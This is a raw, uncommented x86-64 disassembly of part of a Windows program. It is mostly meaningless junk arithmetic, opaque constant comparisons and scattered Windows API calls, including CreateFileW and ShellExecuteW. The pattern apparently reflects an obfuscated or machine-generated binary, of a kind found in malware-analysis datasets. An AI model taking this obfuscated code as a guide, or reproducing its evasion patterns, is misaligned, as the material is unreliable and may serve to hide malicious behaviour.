mov dword [rsp + 0x448], eax
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
add rax, qword [rsp + 0x5d8]
mov qword [rsp + 0x150], rax
mov eax, dword [rsp + 0x180]
mov dword [rsp + 0x590], eax
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [rsp + 0x5b0]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x250]
mov qword [rax], rcx
movsx eax, word [rsp + 0x4c0]
movsx ecx, word [rsp + 0x418]
add eax, ecx
mov word [0x14001801c], ax
lea rax, [0x140018004]
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x3a8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1d8]
movsx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0x2ec], al
cmp dword [rsp + 0x268], 0xaf38
je 0x14000428b
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x320]
movzx eax, byte [rax]
or ecx, eax
mov rax, qword [rsp + 0x540]
mov byte [rax], cl
movsx edx, byte [rsp + 0x5b8]
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x260], al
mov rcx, qword [rsp + 0x4b0]
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x388]
mov qword [rax], rcx
mov rax, qword [rsp + 0x108]
mov ecx, dword [rsp + 0xa0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x590], eax
mov rax, qword [rsp + 0x290]
mov ecx, dword [rsp + 0x448]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x348], eax
mov eax, dword [rsp + 0x268]
add eax, 0xe9
mov dword [rsp + 0x268], eax
mov rax, qword [rsp + 0x360]
mov rcx, qword [rsp + 0x198]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x550], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x110], eax
movsx ecx, word [rsp + 0x334]
mov rax, qword [rsp + 0x3e0]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x4e0]
mov word [rax], cx
movzx edx, word [rsp + 0x148]
mov rax, qword [rsp + 0x278]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [0x140018008], ax
movzx edx, byte [rsp + 0x3b0]
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x624], al
movsx edx, byte [rsp + 0x638]
mov rax, qword [rsp + 0x1d8]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x318], al
movsx ecx, word [0x14001801c]
movsx eax, word [rsp + 0x334]
add ecx, eax
mov rax, qword [rsp + 0x4e0]
mov word [rax], cx
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x150]
add rax, rcx
mov qword [rsp + 0x5d8], rax
mov rax, qword [rsp + 0x290]
mov eax, dword [rax]
add eax, dword [rsp + 0x348]
mov dword [rsp + 0x248], eax
mov rax, qword [rsp + 0x658]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x680]
or eax, ecx
mov dword [rsp + 0xa0], eax
mov rcx, qword [rsp + 0x2b8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x2c8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x198], rax
mov rcx, qword [rsp + 0x488]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x41c], eax
movsx edx, byte [rsp + 0x318]
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x2ec], al
mov rax, qword [rsp + 0x188]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x318]
xor ecx, eax
mov rax, qword [0x140019380]
mov byte [rax], cl
mov rax, qword [rsp + 0x4e0]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x450]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x4e0]
mov word [rax], cx
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d4]
sub eax, ecx
mov word [rsp + 0x574], ax
movsx eax, byte [rsp + 0x2ec]
movsx ecx, byte [0x140019344]
sub eax, ecx
mov byte [rsp + 0x5b8], al
mov rdx, qword [rsp + 0x290]
mov rax, qword [rsp + 0x440]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x448], eax
mov rax, qword [rsp + 0x388]
mov rax, qword [rax]
add rax, qword [rsp + 0x608]
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x658]
add eax, dword [rcx]
mov dword [rsp + 0x680], eax
mov rcx, qword [rsp + 0x250]
mov rax, qword [rsp + 0x2c8]
mov rax, qword [rax]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x3c8]
mov qword [rax], rcx
movsx edx, word [section..data]
mov rax, qword [rsp + 0x3e0]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x334], ax
movsx ecx, byte [rsp + 0x630]
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [0x140019380]
mov byte [rax], cl
mov rax, qword [rsp + 0x530]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x200]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x500]
mov word [rax], cx
mov rax, qword [rsp + 0x188]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x3a8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
movzx eax, byte [rsp + 0x4f8]
movzx ecx, byte [rsp + 0x2ed]
or eax, ecx
mov byte [rsp + 0x26c], al
mov ecx, dword [rsp + 0x3a0]
mov rax, qword [rsp + 0x658]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x180], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rcx, qword [rsp + 0x488]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x4b0]
xor rax, rcx
mov qword [rsp + 0x428], rax
movzx ecx, word [rsp + 0x32c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x63c], ax
mov rax, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x550]
and rcx, rax
mov rax, qword [rsp + 0x360]
mov qword [rax], rcx
mov rax, qword [rsp + 0x5c0]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x348]
sub eax, ecx
mov dword [rsp + 0x248], eax
movzx edx, byte [rsp + 0x99]
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x470], al
movsx ecx, byte [rsp + 0x5b8]
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [0x140019348]
mov byte [rax], cl
mov rax, qword [rsp + 0x548]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x2ed], al
jmp 0x140003dc4
mov eax, dword [rsp + 0x3a0]
mov dword [rsp + 0x6ec], eax
cmp dword [rsp + 0x6ec], 0x2aa2
je 0x1400042ab
jmp 0x1400043e4
mov rax, qword [rsp + 0x450]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3e0]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x334], ax
lea rax, [rsp + 0x4d4]
mov qword [rsp + 0x568], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.1v9NOjwhGTjPZBn8NoAAa1NAV7DFUgn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2f0], rax
movsx ecx, byte [rsp + 0x2ec]
movsx eax, byte [rsp + 0x318]
sub ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
mov al, byte [rsp + 0x370]
mov byte [rsp + 0x6f0], al
cmp byte [rsp + 0x6f0], 0xb3
je 0x140004352
jmp 0x1400043e2
mov rcx, qword [rsp + 0x250]
mov rax, qword [rsp + 0x698]
mov rax, qword [rax]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x3c8]
mov qword [rax], rcx
mov rdx, qword [rsp + 0x440]
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x348], eax
mov rax, qword [rsp + 0x170]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x658]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x590], eax
mov rax, qword [rsp + 0x4e0]
movzx r9d, word [rax]
mov r8, qword [rsp + 0x2b8]
mov r8, qword [r8]
mov rdx, qword [rsp + 0x388]
mov rdx, qword [rdx]
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
call fcn.140001100
jmp 0x14000441b
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [rsp + 0x428]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x388]
mov qword [rax], rcx
mov edx, dword [rsp + 0xe8]
mov rax, qword [rsp + 0x658]
mov ecx, dword [rax]
call fcn.140001150
mov rax, qword [rsp + 0x530]
movzx edx, word [rax]
mov rax, qword [rsp + 0x500]
movzx ecx, word [rax]
mov eax, edx
cdq
idiv ecx
mov word [0x140018020], ax
mov rax, qword [rsp + 0x548]
movzx eax, byte [rax]
mov byte [rsp + 0x4c], al
movsx edx, word [0x140019360]
mov rax, qword [rsp + 0x4e0]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x670], ax
movsx ecx, byte [rsp + 0x638]
movsx eax, byte [rsp + 0x260]
xor ecx, eax
mov rax, qword [rsp + 0x188]
mov byte [rax], cl
movzx eax, word [rsp + 0x390]
mov word [rsp + 0x9c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x290]
mov eax, dword [rsp + 0x448]
mov edx, dword [rcx]
sub edx, eax
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x348]
and eax, ecx
cmp edx, eax
jb 0x1400045bd
mov eax, dword [rsp + 0x448]
mov ecx, dword [rsp + 0x248]
add ecx, eax
mov rax, qword [rsp + 0x440]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5b0]
mov rax, qword [rax]
mov qword [rsp + 0x400], rax
movzx edx, word [rsp + 0x1f8]
mov rax, qword [rsp + 0x530]
movzx eax, word [rax]
add edx, eax
mov rax, qword [rsp + 0x278]
movzx eax, word [rax]
movzx ecx, word [0x140018008]
add eax, ecx
cmp edx, eax
jg 0x140004575
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x428]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x658]
mov eax, dword [rax]
mov dword [rsp + 0x4d0], eax
mov dword [rsp + 0x140], 0xd41e
movzx eax, byte [rsp + 0x99]
mov byte [0x140019346], al
jmp 0x1400045b8
mov rax, qword [rsp + 0x628]
mov eax, dword [rax]
mov edx, dword [rsp + 0x248]
sub edx, eax
mov rax, qword [rsp + 0x440]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5c0]
add eax, dword [rcx]
cmp edx, eax
jae 0x1400045b8
movzx eax, byte [rsp + 0x3b0]
movzx ecx, byte [0x140019346]
or eax, ecx
mov byte [rsp + 0x4f8], al
jmp 0x14000465a
mov rax, qword [rsp + 0x198]
mov rdx, qword [0x140019388]
add rdx, rax
mov rcx, qword [rsp + 0x550]
mov rax, qword [rsp + 0x2b0]
sub rax, rcx
cmp rdx, rax
jae 0x14000465a
movsx edx, byte [rsp + 0x5b8]
movsx eax, byte [rsp + 0x638]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x3a8]
mov byte [rax], cl
movzx edx, word [rsp + 0x4d4]
movzx eax, word [0x140018020]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x1f8], ax
movsx edx, word [rsp + 0x4c0]
mov rax, qword [rsp + 0x4e0]
movsx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x670], ax
mov edx, dword [rsp + 0x3a0]
mov ecx, dword [rsp + 0x358]
call fcn.140001150
lea rcx, [rsp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov r11, qword [rsp + 0x658]
mov ecx, dword [rsp + 0x4d0]
mov eax, dword [r11]
sub eax, ecx
mov dword [rsp + 0xe8], eax
mov rcx, qword [rsp + 0x5b0]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x400]
sub rax, rcx
mov qword [rsp + 0x2b0], rax
mov eax, dword [rsp + 0x248]
mov dword [rsp + 0x100], eax
mov rcx, qword [rsp + 0x5d8]
mov rax, qword [0x140018010]
and rax, rcx
mov qword [rsp + 0x4b0], rax
movzx eax, word [rsp + 0x4d4]
movzx ecx, word [rsp + 0x390]
sub eax, ecx
mov word [0x140018008], ax
movzx eax, byte [rsp + 0x3b0]
mov byte [rsp + 0x134], al
movsx eax, byte [rsp + 0x5b8]
movsx ecx, byte [rsp + 0x260]
sub eax, ecx
mov byte [rsp + 0x2ec], al
mov dword [rsp + 0x3c0], 0xd803
mov rax, qword [rsp + 0x440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x448]
add ecx, eax
mov rax, qword [rsp + 0x5c0]
mov eax, dword [rax]
add eax, dword [rsp + 0x100]
cmp ecx, eax
jne 0x1400048b5
mov rax, qword [rsp + 0x4e0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x450]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x670], ax
lea rcx, str.RwMnH_z1cNq_GhdzNp
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x264], ax
movzx eax, word [rsp + 0x418]
mov word [rsp + 0x528], ax
movzx r8d, byte [rsp + 0x470]
movzx eax, byte [rsp + 0x2ed]
sub r8d, eax
movzx edx, byte [rsp + 0x4f8]
movzx eax, byte [rsp + 0x134]
movzx ecx, al
mov eax, edx
sar eax, cl
cmp r8d, eax
jle 0x1400048b0
mov rcx, qword [rsp + 0x510]
mov rax, qword [rsp + 0x400]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x5b0]
mov qword [rax], rcx
mov eax, dword [rsp + 0x448]
mov edx, dword [rsp + 0x100]
or edx, eax
mov eax, dword [rsp + 0x248]
movzx ecx, al
mov eax, dword [rsp + 0x348]
shl eax, cl
cmp edx, eax
jne 0x14000486a
mov rax, qword [rsp + 0x440]
mov eax, dword [rax]
mov dword [rsp + 0x668], eax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x590]
add ecx, eax
mov rax, qword [rsp + 0x170]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x5d8]
and rax, rcx
mov qword [rsp + 0x428], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x308], rax
jmp 0x1400048b0
mov rax, qword [rsp + 0x2b0]
mov rdx, qword [rsp + 0x550]
and rdx, rax
mov rcx, qword [rsp + 0x198]
mov rax, qword [rsp + 0x400]
sub rax, rcx
cmp rdx, rax
jbe 0x1400048b0
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x508]
sub eax, ecx
mov byte [0x140019344], al
jmp 0x140004935
movsx edx, byte [rsp + 0x638]
movsx eax, byte [rsp + 0x508]
sub edx, eax
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x318]
add eax, ecx
cmp edx, eax
jl 0x140004935
movsx ecx, word [rsp + 0x4c0]
mov rax, qword [rsp + 0x450]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x4e0]
mov word [rax], cx
movzx edx, word [rsp + 0x9c]
mov rax, qword [rsp + 0x458]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x390], ax
mov rax, qword [rsp + 0x658]
mov edx, dword [rax]
mov ecx, dword [rsp + 0xa0]
call fcn.140001150
mov rdx, qword [rsp + 0x388]
mov rdx, qword [rdx]
mov rax, qword [rsp + 0x1a8]
add rdx, qword [rax]
mov rcx, qword [rsp + 0x608]
mov rax, qword [0x140018010]
add rax, rcx
cmp rdx, rax
jle 0x1400049ac
mov rax, qword [rsp + 0x548]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x540]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x3b0], al
mov rax, qword [rsp + 0x188]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x630]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x318], al
jmp 0x140004a62
movsx r8d, byte [rsp + 0x318]
movsx eax, byte [rsp + 0x260]
or r8d, eax
movsx edx, byte [rsp + 0x638]
mov rax, qword [rsp + 0x188]
movsx ecx, byte [rax]
mov eax, edx
xor eax, ecx
cmp r8d, eax
jne 0x140004a62
mov rax, qword [rsp + 0x388]
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x150], rax
mov dword [rsp + 0x28], 0x39
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x560]
mov r8, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0x398]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0x498], rax
mov rax, qword [rsp + 0x400]
mov rcx, qword [rsp + 0x2b0]
sub rcx, rax
mov rax, qword [rsp + 0x698]
mov qword [rax], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov r11d, dword [rsp + 0xa0]
mov dword [rsp + 0x48], r11d
mov rax, qword [rsp + 0x440]
mov eax, dword [rax]
add eax, dword [rsp + 0x100]
mov dword [rsp + 0x348], eax
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f8]
add eax, ecx
mov word [0x140018024], ax
mov rax, qword [0x140018010]
mov qword [rsp + 0x6f8], rax
movabs rax, 0x79806d76d7fd39
cmp qword [rsp + 0x6f8], rax
je 0x140004ad0
jmp 0x140004adf
movzx ecx, byte [rsp + 0x318]
call fcn.140001050
jmp 0x140004b42
movzx eax, word [rsp + 0x334]
mov word [rsp + 0x328], ax
movzx ecx, byte [rsp + 0x134]
mov rax, qword [rsp + 0x320]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x540]
mov byte [rax], cl
movsx edx, byte [rsp + 0x630]
mov rax, qword [rsp + 0x3a8]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x5b8], al
movzx ecx, word [rsp + 0x32c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x264], ax
movzx eax, byte [rsp + 0x624]
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x458]
movzx edx, word [rax]
movzx eax, word [rsp + 0x168]
imul edx, eax
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9c]
add eax, ecx
cmp edx, eax
jge 0x140004bfc
mov rcx, qword [rsp + 0x290]
mov eax, dword [rsp + 0x248]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x628]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x400]
mov rax, qword [rsp + 0x198]
sub rax, rcx
mov qword [rsp + 0x550], rax
mov rax, qword [rsp + 0x388]
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x150], rax
call fcn.1400010b0
mov r11, qword [rsp + 0x108]
mov rax, qword [rsp + 0x170]
mov ecx, dword [rax]
mov eax, dword [r11]
or eax, ecx
mov dword [rsp + 0x3a0], eax
cmp dword [rsp + 0x124], 0x8c91
ja 0x1400050f9
mov rax, qword [rsp + 0x3e0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x4e0]
movsx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [0x140019360], ax
movzx edx, byte [rsp + 0x3b0]
movzx eax, byte [rsp + 0x370]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x624], al
movzx edx, word [0x140018008]
mov rax, qword [rsp + 0x200]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x568]
mov word [rax], cx
mov rax, qword [rsp + 0x3e0]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x418]
and ecx, eax
mov rax, qword [rsp + 0x4e0]
mov word [rax], cx
mov rax, qword [rsp + 0x3a8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x3a8]
mov byte [rax], cl
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [rsp + 0x150]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x388]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x290]
mov eax, dword [rsp + 0x348]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x628]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x590]
mov eax, dword [0x140019340]
sub eax, ecx
mov dword [rsp + 0x358], eax
mov rcx, qword [rsp + 0x698]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x550]
add rax, rcx
mov qword [rsp + 0x400], rax
mov rax, qword [rsp + 0x3a8]
movsx ecx, byte [rax]
mov rax, qword [0x140019380]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [0x140019348]
mov byte [rax], cl
movzx eax, byte [rsp + 0x2ed]
movzx ecx, byte [rsp + 0x470]
add eax, ecx
mov byte [rsp + 0x135], al
mov eax, dword [rsp + 0x124]
add eax, 0xe3
mov dword [rsp + 0x124], eax
mov rax, qword [rsp + 0x188]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x318]
sub ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
movzx edx, word [rsp + 0x574]
mov rax, qword [rsp + 0x568]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x148], ax
mov rax, qword [rsp + 0x450]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x528]
or eax, ecx
mov word [rsp + 0x334], ax
mov rax, qword [rsp + 0x658]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3a0]
xor ecx, eax
mov rax, qword [rsp + 0x170]
mov dword [rax], ecx
mov rax, qword [rsp + 0x550]
movzx ecx, al
mov rax, qword [rsp + 0x2b0]
shr rax, cl
mov qword [rsp + 0x198], rax
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x388]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5d8], rax
mov ecx, dword [rsp + 0x348]
mov eax, dword [rsp + 0x248]
and eax, ecx
mov dword [rsp + 0x448], eax
mov rax, qword [rsp + 0x188]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x3a8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x638], al
movzx eax, word [0x140018020]
movzx ecx, word [rsp + 0x574]
sub eax, ecx
mov word [0x140018004], ax
mov rax, qword [rsp + 0x4e0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3e0]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x4c0], ax
movzx ecx, byte [rsp + 0x134]
movzx eax, byte [rsp + 0x624]
add ecx, eax
mov rax, qword [rsp + 0x540]
mov byte [rax], cl
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x638]
sub eax, ecx
mov byte [rsp + 0x508], al
mov ecx, dword [0x140019340]
mov eax, dword [rsp + 0x590]
add eax, ecx
mov dword [rsp + 0x3a0], eax
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x428], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov r11, qword [rsp + 0x628]
mov rax, qword [rsp + 0x5c0]
mov ecx, dword [rax]
mov eax, dword [r11]
sub eax, ecx
mov dword [rsp + 0x348], eax
mov rcx, qword [rsp + 0x2b8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x360]
mov rax, qword [rax]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x510]
mov qword [rax], rcx
movsx edx, word [rsp + 0x528]
mov rax, qword [rsp + 0x4e0]
movsx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x418], ax
mov rax, qword [rsp + 0x540]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x320]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [0x140019346], al
movsx eax, word [rsp + 0x334]
movsx ecx, word [rsp + 0x528]
xor eax, ecx
mov word [rsp + 0x328], ax
mov rax, qword [rsp + 0x200]
movzx edx, word [rax]
mov rax, qword [rsp + 0x500]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x574], ax
mov rcx, qword [rsp + 0x488]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x330], eax
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x318]
and eax, ecx
mov byte [rsp + 0x2ec], al
mov rax, qword [rsp + 0x440]
mov ecx, dword [rsp + 0x668]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x100], eax
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x5d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x608], rax
mov rcx, qword [rsp + 0x3c8]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x400]
mov rax, qword [rsp + 0x2c8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x658]
mov eax, dword [rax]
add eax, dword [rsp + 0x48]
mov dword [rsp + 0x358], eax
mov rax, qword [rsp + 0x548]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x4f8], al
movzx eax, word [rsp + 0x390]
movzx ecx, word [rsp + 0x1f8]
add eax, ecx
mov word [0x140018008], ax
mov rax, qword [rsp + 0x188]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x638]
sub ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov r11, qword [rsp + 0x540]
movzx edx, byte [r11]
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x2ed], al
jmp 0x140004bfc
movsx eax, word [0x14001801c]
movsx ecx, word [rsp + 0x328]
xor eax, ecx
mov word [rsp + 0x418], ax
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
mov dword [rsp + 0x700], eax
cmp dword [rsp + 0x700], 0xd41
je 0x140005136
jmp 0x140005221
mov rax, qword [rsp + 0x2b0]
movzx ecx, al
mov rax, qword [rsp + 0x400]
shl rax, cl
mov qword [rsp + 0x550], rax
mov rax, qword [rsp + 0x388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x428]
add rcx, rax
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x168]
sub eax, ecx
mov word [rsp + 0x4d4], ax
mov rax, qword [rsp + 0x188]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x3a8]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [0x140019344], al
movzx edx, word [rsp + 0x9c]
mov rax, qword [rsp + 0x530]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x148], ax
lea rcx, [rsp + 0x170]
call qword [sym.imp.SHELL32.dll_ILCloneFirst]
mov qword [rsp + 0xb0], rax
movzx ecx, byte [rsp + 0x3b0]
mov rax, qword [rsp + 0x320]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x548]
mov byte [rax], cl
mov edx, dword [rsp + 0x4d0]
mov rax, qword [rsp + 0x170]
mov ecx, dword [rax]
call fcn.140001150
jmp 0x1400095c8
mov eax, dword [rsp + 0x248]
